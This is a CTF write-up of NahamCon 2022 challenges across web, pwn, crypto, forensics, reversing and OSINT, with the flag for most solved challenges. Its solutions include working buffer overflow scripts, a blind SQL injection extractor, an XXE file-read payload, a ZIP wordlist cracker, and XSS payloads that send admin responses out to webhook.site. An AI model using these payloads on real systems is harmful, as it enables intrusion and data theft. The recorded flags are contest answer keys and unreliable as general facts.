NahamCon CTF 2022

Warmups

Flagcat [50 pts]

Description

Do you know what the cat command does in the Linux command-line?

Solution

cat flagcat

Flag: flag{ab3cbaf45def9056dbfad706d597fb53}

Read the Rules [50pts]

Description

Please follow the rules for this CTF! Connect here: Read The Rules

Solution

View Source on the rules page and the flag is in a comment

Flag: flag{90bc54705794a62015369fd8e86e557b}

Technical Support [50 pts]

Description

Want to join the party of GIFs, memes and emoji spam? Or just want to ask a question for technical support regarding any challenges in the CTF? Join us in the Discord -- you might just find a flag in the #ctf-help channel! Connect here: Join the Discord!

Solution

Description of the ctf-help channel on discord has flag at the end

Flag: flag{081fef2f11f3eec6059e3da9117ad3f0}

Prisoner [50 pts]

Description

Have you ever broken out of jail? Maybe it is easier than you think!

Solution

So CTRL+D exited the input and then gives a python shell. Yay. From there the commands can easily show the flag.

import os
os.system("sh")
ls
cat flag.txt

Flag: flag{c31e05a24493a202fad0d1a827103642}

Exit Vim [50 pts]

Description

Ah yes, a bad joke as old as time... can you exit vim?

Solution

Well press q (:q) Exits vim and prints flag

Flag: flag{ccf44b43322be5659150eac8bb2a18c}

Crash Override [50 pts]

Description

Remember, hacking is more than just a crime. It's a survival trait.

Solution

Decompliing the program gives a fairly simple solution of sending 2048 bytes to the server

undefined8 main(void) {
  char local_808 [2048];
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  signal(0xb,win);
  puts("HACK THE PLANET!!!!!!");
  gets(local_808);
  return 0;
}

So I attacked back with

from pwn import *

hostname = "challenge.nahamcon.com"
port =  30066
binary = remote(hostname, port)
print(binary.recvuntil("!!!!\n"))
print(binary.sendline(b"a" * 5196))
print(binary.recv(1024))
binary.interactive()
py

Flag: flag{de8b6655b538a0bf567b79a14f2669f6}

Quirky [50 pts]

Description

This file is seems to have some strange pattern...

\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\x00\x00\x6f\x00\x00\x00\x6f\x01\x03\x00\x00\x00\xd8\x0b\x0c\x23\x00\x00\x00\x06\x50\x4c\x54\x45\x00\x00\x00\xff\xff\xff\xa5\xd9\x9f\xdd\x00\x00\x00\x02\x74\x52\x4e\x53\xff\xff\xc8\xb5\xdf\xc7\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x12\x00\x00\x0b\x12\x01\xd2\xdd\x7e\xfc\x00\x00\x01\x25\x49\x44\x41\x54\x38\x8d\xd5\xd4\x31\x8e\xc3\x20\x10\x05\xd0\xb1\x5c\xd0\x25\x17\x40\x9a\x6b\xd0\x71\x25\xfb\x02\xb6\xf7\x02\xce\x95\xe8\xb8\x06\x92\x2f\x40\x3a\x0a\x94\xd9\x8f\x23\x45\xbb\xc5\x66\x68\x52\x2c\xa2\xe0\x21\x21\xcf\x0c\x83\x49\x7e\x0d\xfa\x1f\xcc\x44\x8b\xaf\x6b\xb0\x44\xac\xf2\x2e\x75\x72\xe3\x66\xea\x2a\x1d\x0c\x76\xc1\xe7\x82\x9d\x4c\x17\x27\x97\xc8\xd4\x4e\xae\x91\xd6\x62\xbb\x28\x75\x8e\xf5\x1a\xed\x2b\xc8\x37\x44\xbe\x73\xb4\x98\xaf\xf4\xdf\xf0\x1c\xf6\x5a\x7e\x16\xf6\x4f\x66\xb2\x64\x78\xf3\xc7\xee\x3a\xe8\x0f\xac\x25\x10\x39\x56\x79\x2f\x74\x71\xe3\x57\x94\x87\x11\x9d\xf1\xd8\x5b\x6c\x34\x79\x9d\x0f\x8f\xb3\xb2\xfb\x73\x53\xa5\x3b\x36\x33\xa2\xf8\x73\x60\x95\x52\xea\x10\xd3\xc5\xf0\x7e\x46\xf5\x9e\x77\x19\x6f\x6d\x4a\x76\x3a\x25\xa0\x49\xda\x05\xdd\x22\xab\x44\xbe\x38\x28\x25\xcd\xa5\x83\x92\x86\x82\x90\x0e\x14\x53\x67\x44\x1f\xd6\x39\xa0\xfe\xac\xb3\x9d\x95\xdd\x10\x19\x51\x89\x91\x3d\x21\xa4\xec\x58\x25\x3a\x76\xf2\x69\x68\xaf\x4c\x54\xe2\x2d\x2c\x1e\x95\xe4\xec\x59\x27\xae\x52\xd0\xb4\x34\x3c\xf3\x55\x89\x85\xf0\xc3\x71\x17\x0b\xdf\x42\x22\x27\x3a\xf1\x7e\xd1\x2d\x68\xaa\xa2\xb3\xe5\xdb\x3a\x56\xb2\xd1\xf9\xb9\x5f\xee\xa7\xf8\x0d\x69\xf5\x37\x77\x6e\xf8\x09\x97\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82

Solution

Cyberchef took care of the whole thing with the recipe #recipe=From_Hex('%5C%5Cx')Parse_QR_Code(false)

Flag: flag{b7e2a32f5ae629dcfb1ac210d1f0c032}

Wizard [50 pts]

Description

You have stumbled upon a wizard on your path to the flag. You must answer his questions! We are seeing some trouble with the very last question, asking for hexadecimal, when it really takes the answer in plaintext. We are rebuilding the challenge image but in the interim, please send it the plaintext rendition of your answer for question 6.

Solution

Going through the NC it asks some static questions that need to be transcoded

First Question: What is the ASCII plaintext corresponding to this binary string? 010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011

ans = Zeros & Ones

Second Question: What is the ASCII plaintext corresponding to this hex string? 4f6820776f77777721204261736520313020697320636f6f6c20616e6420616c6c2062757420486578787878

ans = Oh wowww! Base 10 is cool and all but Hexxxx

Third Question: What is the ASCII plaintext corresponding to this octal string? (HINT: octal -> int -> hex -> chars) 535451006154133420162312701623127154533472040334725553046256234620151334201413347444030460563312201673122016730267164

ans = We can represent numbers in any base we want

Fourth Question: What is the ACII representation of this integer? (HINT: int -> hex -> chars) 8889185069805239596091046045687553579520816794635237831028832039457

ans = This is one big ‘ol integer!

Fifth Question: What is the ASCII plaintext of this Base64 string? QmFzZXMgb24gYmFzZXMgb24gYmFzZXMgb24gYmFzZXMgOik=

ans = Bases on bases on bases on bases

All of this done through CyberChef and then it showed the flag.

Web

Jurassic Park [50 pts]

Description

Dr. John Hammond has put together a small portfolio about himself for his new theme park, Jurassic Park. Check it out here!

Solution

Access robots.txt

Flag: flag{c2145f65df7f5895822eb249e25028fa}

Personnel [50 pts]

Description

A challenge that was never discovered during the 2021 Constellations mission... now ungated :)

#!/usr/bin/env python

from flask import Flask, Response, abort, request, render_template
import random
from string import *
import re

app = Flask(__name__)

flag = open("flag.txt").read()
users = open("users.txt").read()

users += flag


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("lookup.html")
    if request.method == "POST":
        name = request.form["name"]
        setting = int(request.form["setting"])
        if name:
            if name[0].isupper():
                name = name[1:]

        results = re.findall(r"[A-Z][a-z]*?" + name + r"[a-z]*?\n", users, setting)
        results = [x.strip() for x in results if x or len(x) > 1]

        return render_template("lookup.html", passed_results=True, results=results)


if __name__ == "__main__":
    app.run()

Solution

So at this point sleep deprived I kept on falling for the red herring of settings could be a different number. Looking into the documentation the only thing it can be is 0 or a string "re.[extension]". Someone told me this and it became clear the attack is more on the regex. So we came up with 2 options. Original - 1|(.*)|1 - which dumps all names and flag at the bottom Improved - 1|(flag.*)|1 - Only displays the flag

Flag: flag{f0e659b45b507d8633065bbd2832c627}

EXtravagant [50 pts] (Author - to^)

Description

I've been working on a XML parsing service. It's not finished but there should be enough for you to try out. The flag is in /var/www

Solution

Upload exp.xml and view it

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/var/www/flag.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Flag: flag{639b72f2dd0017f454c44c3863c4e195}

Flaskmetal Alchemist [168 pts] (Author - to^)

Description

Edward has decided to get into web development, and he built this awesome application that lets you search for any metal you want. Alphonse has some reservations though, so he wants you to check it out and make sure it's legit. NOTE: this flag does not follow the usual MD5 hash style format, but instead is a short style with lower case flag{letters_with_underscores}

Solution

From requirements.txt, server uses SQLAlchemy==1.2.17 and it is vulnerable to sqli.

import requests
import string
TARGET = "http://challenge.nahamcon.com:30378/"
FLAG_LENGTH = 0

# Find flag length
for i in range(30):
    order_by_inject = f"(SELECT CASE WHEN ((SELECT LENGTH(flag) from flag) = {i+1}) THEN atomic_number ELSE symbol END)"
    data = {"search" : "a", "order": order_by_inject}
    r = requests.post(TARGET, data)

    # with this payload, "aotomic number" column will return "89" before "12" if the WHEN condition is true
    if r.text.find("89</td>") > r.text.find("12</td>"):
        FLAG_LENGTH = i+1
        print(f"[-] Flag length: {FLAG_LENGTH}")
        break


# Find flag
FLAG = ""
for i in range(FLAG_LENGTH):
    for c in string.ascii_lowercase + "_}{":
        order_by_inject = f"(SELECT CASE WHEN ((SELECT SUBSTR(flag, {i+1}, 1) from flag) = '{c}') THEN atomic_number ELSE symbol END)"
        data = {"search" : "a", "order": order_by_inject}
        r = requests.post(TARGET, data)
    
        if r.text.find("89</td>") > r.text.find("12</td>"):
            FLAG += c
            print(f"[-] Flag: {FLAG}")
            break

Flag: flag{order_by_blind}

Hacker TS [422 pts] (Author - to^)

Description

We all love our hacker t-shirts. Make your own custom ones.

Solution

The page renders text on t-shirts based on POST text param.

x=new XMLHttpRequest;
x.onload=function(){
x1=new XMLHttpRequest;
x1.open("GET","https://webhook.site/f61d8f20-bc48-4ae9-805f-3db7a842363b?c="%2bencodeURIComponent(btoa(this.responseText)));
x1.send();
};
x.open("GET","http://localhost:5000/admin");
x.send();

Flag: flag{461e2452088b39b618a59344af631}

Two For One [473 pts] (Author - to^)

Description

Need to keep things secure? Try out our safe, the most secure in the world!

Solution

This is a two factor authentication challenge using password and OTP.

The feedback features in Settings page is vulnerable to blind XSS

Solve steps: reset 2FA -> reset admin account’s password -> login as admin -> get flag

Get new otp auth value

    var x = new XMLHttpRequest();
    x.open('POST', 'http://challenge.nahamcon.com:32084/reset2fa');
    x.setRequestHeader("Content-Type", "application/json");
    x.setRequestHeader("Accept", "application/json");
    x.onload = function() {
        navigator.sendBeacon('https://webhook.site/8771a7aa-4464-438a-84ac-7311eae5bd87', this.responseText);
    };
    x.send();

Generate new Admin QR

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>QR code page</title>
</head>

<body>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/qrious/4.0.2/qrious.min.js"></script>
    <div class="row">
        <div class="col-12">
            <canvas id="qr" style="margin-right: auto; margin-left: auto;"></canvas>
        </div>
    </div>
    <script>
        var qr = new QRious({
            size: 250,
            element: document.getElementById('qr'),
            value: "otpauth://totp/Fort%20Knox:admin?secret=QFBPNXXUIQ6D3LAD&issuer=Fort%20Knox"
        });
    </script>
</body>
</html>

Reset admin password

    var x = new XMLHttpRequest();
    x.open('POST', 'http://challenge.nahamcon.com:30223/reset_password');
    x.setRequestHeader("Content-Type", "application/json");
    x.setRequestHeader("Accept", "application/json");
    x.onload = function() {
        navigator.sendBeacon('https://webhook.site/8771a7aa-4464-438a-84ac-7311eae5bd87', this.responseText);
    };
    x.send(JSON.stringify({
        otp: "063517",
        password: "to^",
        password2: "to^"
    }));

Flag: flag{96710ea6be916326f96de003c1cc97cb}

Binary Exploitation

Babiersteps [50 pts] (Author - gocode)

Description

Baby steps! One has to crawl before they can run.

undefined8 main(void) {
  undefined local_78 [112];
  
  puts("Everyone has heard of gets, but have you heard of scanf?");
  __isoc99_scanf(&DAT_00402049,local_78);
  return 0;
}

Solution

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = '/home/gocode/challenges/Nahamcon2022/binary/babiersteps'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

# How many bytes to the instruction pointer (EIP)?
padding = 120

payload = flat(
    b'A' * 120,
    elf.functions.win
)

# Save the payload to file
write('payload', payload)

# Send the payload
io.sendlineafter(b'?', payload)

# Receive the flag
io.interactive()

Command: python exploit.py REMOTE challenge.nahamcon.com 32730 or locally: python exploit.py

Flag:

Reverse Engineering

babyrev [392 pts] (Author - brosu)

Description

Aw look! Baby is using a disassembler!

Solution

import gdb
import string
from queue import Queue, Empty
import re

MAX_FLAG_LEN = 0x26

gdb.execute("set disable-randomization on")
gdb.execute("delete")
#sp = Solvepoint("*0x56555a71")
queue = Queue()

username = "bossbaby\n"
flag = "flag"
ALPHABET = string.ascii_letters + string.digits + "{}_"

gdb.execute("break *0x555555555403")

for i in range(len(flag), MAX_FLAG_LEN):
    for c in ALPHABET:
        with open("in.txt", "w") as intxt:
            inlst = [username, flag+c]
            intxt.writelines(inlst)
        gdb.execute("run < in.txt")
        print(c)
        out = gdb.execute("p $eax", to_string=True)
        out = re.split(" = ", out)
        out = int(out[1])
        print(out)
        if(out > i):
            flag = flag + c
            print(flag)
            break

Flag:

Cryptography

XORROX [50 pts]

Description

We are exclusive -- you can't date anyone, not even the past! And don't even think about looking in the mirror!

#!/usr/bin/env python3

import random

with open("flag.txt", "rb") as filp:
    flag = filp.read().strip()

key = [random.randint(1, 256) for _ in range(len(flag))]

xorrox = []
enc = []
for i, v in enumerate(key):
    k = 1
    for j in range(i, 0, -1):
        k ^= key[j]
    xorrox.append(k)
    enc.append(flag[i] ^ v)

with open("output.txt", "w") as filp:
    filp.write(f"{xorrox=}\n")
    filp.write(f"{enc=}\n")

Solution

Given the output I just decided to work the problem backwards with 2 facts in mind flag[i] = enc[i] ^ v and key[index] = [1-256] so key can be array with all 1s This leads to solving the enumerator and how it is going backwards so we can brute force what key is valid by verifying the k == xorrox[myI]. Now that I have my whole key array I plug that in and knowing enc[i] and key[i] or v I can get the flag

#!/usr/bin/env python3

import random
 
flag = "flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}"
key = [random.randint(1, 1) for _ in range(len(flag))] # Because I am lazy
xorrox=[1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56]
enc=[26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119]

myI = 0;
def getXor():
	myFlag = ""
	myI = 0 # solution Index
	for i, v in enumerate(key):
		found = False
		while not found:
			k = 1
			for j in range(i, 0, -1):
				k ^= key[j]
			if xorrox[myI] != k:
				key[i] += 1
			else:
				found = True
		myFlag += chr(enc[myI] ^ key[i])
		myI += 1
		print(myFlag)

getXor()
print(key)

Flag: flag{21571dd4764a52121d94deea22214402}

Unimod [50 pts]

Description

I was trying to implement ROT-13, but got carried away.

Solution

Since the only unknown thing in the problem is k our random range, the solution came by just brute forcing all values until it showed flag in the solution.

import random

def encode(flag):
	k = random.randrange(0,0xFFFD)
	for c in flag:
    		ct += chr((ord(c) + k) % 0xFFFD)
	open('out', 'w').write(ct)

def decode(encFlag):
	for k in range(0, 0xFFFD):
		try:
			ct = '';
			for c in encFlag:
				ct += chr((ord(c) + k) % 0xFFFD)
			if "flag" in ct:
				open("outs","a").write(ct)
				print(ct)
				print(k)
		except:
			a = 1
flag = open("out", "r").read()
decode(flag)

Answer: k = 26396

Flag: flag{4e68d16a61bc2ea72d5f971344e84f11}

Forensics

A Wild Ride [131 pts]

Description

I've got this encrypted ZIP file filled with .gpx'es, and I just know there's a message in there...

Solution

So first things first, Password. Which was no problem for my little script I found online

import zipfile
from tqdm import tqdm

wordlist = "rockyou.txt"
zip_file = "gpx.zip"

# initialize the Zip File object
zip_file = zipfile.ZipFile(zip_file)
# count the number of words in this wordlist
n_words = len(list(open(wordlist, "rb")))
# print the total number of passwords
print("Total passwords to test:", n_words)

with open(wordlist, "rb") as wordlist:
    for word in tqdm(wordlist, total=n_words, unit="word"):
        try:
            zip_file.extractall(pwd=word.strip())
        except:
            continue
        else:
            print("[+] Password found:", word.decode().strip())
            exit(0)
print("[!] Password not found, try other wordlist.")

Was a little disappointed that the password was 7% in and crackme but oh well. I view all the gpx files and find an online viewer to get an image of the flag.Which was hard to read and verified with admin the flag

Flag: flag{gpx_is_cool}

Mobile

Mobilize [50 pts]

Description

Autobots. ROLLL OUTTT!!!!!

Solution

To start out this problem got me a little disappointed. I started with apktool mobilize.apk and went slowly through the folders to not see a normal pattern so I just did strings mobilize.apk | grep "flag{" which then printed out the flag

Flag: flag{e2e7fd4a43e93ea679d38561fa982682}

Hardware/RF

Cereal [254 pts]

Description

"Oh no I dropped my cereal!!"

Solution

I noticed from another problem that you can open a .sal (SALAE) file with Logic 2 Extension. Opening the file, on the first line is the flag and URL link to a random video.

Flag: flag{}

Dweeno [368 pts] (Author - otolk1)

Description

We found this wack program running on an Arduino Mega using some spider-looking thing on a breadboard. The information we need is redacted in the program we found, but we managed to grab the serial output from the program. Help us figure out what this information is!

Solution

Flag:

Miscellaneous

Steam Locomotive [50 pts]

Description

I keep accidentally mistyping the ls command!

Solution

ssh -p 32422 user@challenge.nahamcon.com -t cat flag.txts

Flag: flag{4f9b10a81141c7a07a494c28bd91d05b}

The Balloon [133 pts] (Author - RJCyber)

Description

It's basically just a balloon... so it needs to be inflated! File is below

it's basically just a deflated balloon - spin it around, _inflate_ it, and the prize is inside! 

wiieh://ephitqxc.rdb/tAQtEOTn

Solution

Well a raw inflate is implied but what does the link lead to. Well once that link was found https://pastebin.com/eLBePZEy it gave some raw text which put into cyberchef with raw inflate gives the flag https://gchq.github.io/CyberChef/#recipe=Raw_Inflate(0,0,'Adaptive',false,false)&input=RDBVcDBJWlVubm5ubm5ubm5ubm5ubm5ubm5uVVU1bm5ubm5uM1NVVW5VVVV3Q2l1ZEliRUF0d3d3RXQzM0dwRERzR3dHMDNzRER0d3RzR3BERHR0MzMzMzN3d3cwMzMzM0dEZkJES1dDa09VWVltQ0Vpc0tZU2VNdWNNU0VVS1lFY01TZW1pWXV5ZW80

Flag: flag{5119a30ef1c476b7c35f13b7c4901624}

Scripting

Lold1 [383 pts]

Description

HAI!!!! WE HAZ THE BESTEST LOLPYTHON INTERPRETERERERER U HAS EVER SEEEEEN! YOU GIVE SCRIPT, WE RUN SCRIPT!! AND FLAG IS EVEN AT /flag.txt.

Solution

At first I used the convert but it was giving so much weird stuff that I just did it myself at that point manually to come up with print(open('./flag.txt').readline()) Which translated to VISIBLE THEZ open THEZ "./flag.txt" OK OWN readline THING OK

Flag: flag{c1146bd8b0079fd75f857003afe2cc49}

Steganography

Ostrich [408 pts]

Description

This ostrich has a secret message for you.

Solution

This one took a fuck ton of code because I wasn't exactly sure what was brute forced at first.

import imageio
from PIL import Image, GifImagePlugin
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import random
from apng import APNG

def splitAPNG():
	im = APNG.open("./result.apng")
	for i, (png, control) in enumerate(im.frames):
		png.save("./images/ostrich{i}.png".format(i=i))

def encoding():
	filenames = []
	flag = "REDACTED" 

	orig_filename = "ostrich.jpg"
	orig_image = Image.open(orig_filename)
	pixels = orig_image.load()
	width, height = orig_image.size
	images = []

	for i in range(len(flag)):
		new_filename = f'./images/ostrich{i}.png'
		new_image = Image.new(orig_image.mode, orig_image.size)
		new_pixels = new_image.load()
		for x in range(width):
			for y in range(height):
				new_pixels[x,y] = orig_image.getpixel((x, y))
				
		x = random.randrange(0,width)
		y = random.randrange(0,height)
		pixel = list(orig_image.getpixel((x, y)))

		new_val = l2b(pixel[2]*ord(flag[i]))
		pixel[0] = new_val[0]
		if len(new_val) > 1:
			pixel[1] = new_val[1]
		pixel[2] = 0

		new_pixels[x, y] = (pixel[0], pixel[1], pixel[2])
		new_image.save(new_filename)
		filenames.append(new_filename)
		images.append(new_image)

		APNG.from_files(filenames, delay=0).save("result.apng")

def decoding():
	filenames = []
	flag = "flag{" + "a" * 32 + "}" 
	myFlag = ""
	orig_filename = "ostrich.jpg"
	orig_image = Image.open(orig_filename)
	pixels = orig_image.load()
	width, height = orig_image.size
	images = []
	sets = []
	for i in range(len(flag)):
		new_filename = f'./images/ostrich{i}.png'
		new_image = Image.open(new_filename)
		new_pixels = new_image.load()
		for x in range(width):
			for y in range(height):
				if (new_pixels[x,y] != orig_image.getpixel((x,y))):
					pixel = list(orig_image.getpixel((x,y)))
					new_pixel = list(new_image.getpixel((x,y)))
					for f in range(0, 256):
						new_val = l2b(pixel[2]*f)
						lenCheck = len(new_val)
						if lenCheck > 1:
							if new_pixel[0] == new_val[0] and new_pixel[1] == new_val[1]:
								myFlag += chr(f)
								print(myFlag)
								f = 256
splitAPNG()
decoding()
# encoding()

In the end it was a piece of cake right

Flag: flag{d3a5b80f96a3ce0dd0aedbefbc6b1fa1}

Keeber (OSINT)

Keeber 1 [50 pts]

Description

You have been applying to entry-level cybersecurity jobs focused on reconnaissance and open source intelligence (OSINT). Great news! You got an interview with a small cybersecurity company; the Keeber Security Group. Before interviewing, they want to test your skills through a series of challenges oriented around investigating the Keeber Security Group.

The first step in your investigation is to find more information about the company itself. All we know is that the company is named Keeber Security Group and they are a cybersecurity startup. To start, help us find the person who registered their domain. The flag is in regular format.

Solution

Using the whois website https://whois.domaintools.com/ and searching for the domain keebersecuritygroup.com gave the flag under tech contact

Flag: flag{ef67b2243b195eba43c7dc797b75d75b}

Keeber 2 [50 pts]

Description

The Keeber Security Group is a new startup in its infant stages. The team is always changing and some people have left the company. The Keeber Security Group has been quick with changing their website to reflect these changes, but there must be some way to find ex-employees. Find an ex-employee through the group's website. The flag is in regular format.

Solution

Going to the way back you can find the flag under Tiffany Douglas Tile - https://web.archive.org/web/20220419212259/https://keebersecuritygroup.com/team

Flag: flag{cddb59d78a6d50905340a62852e315c9}

Last updated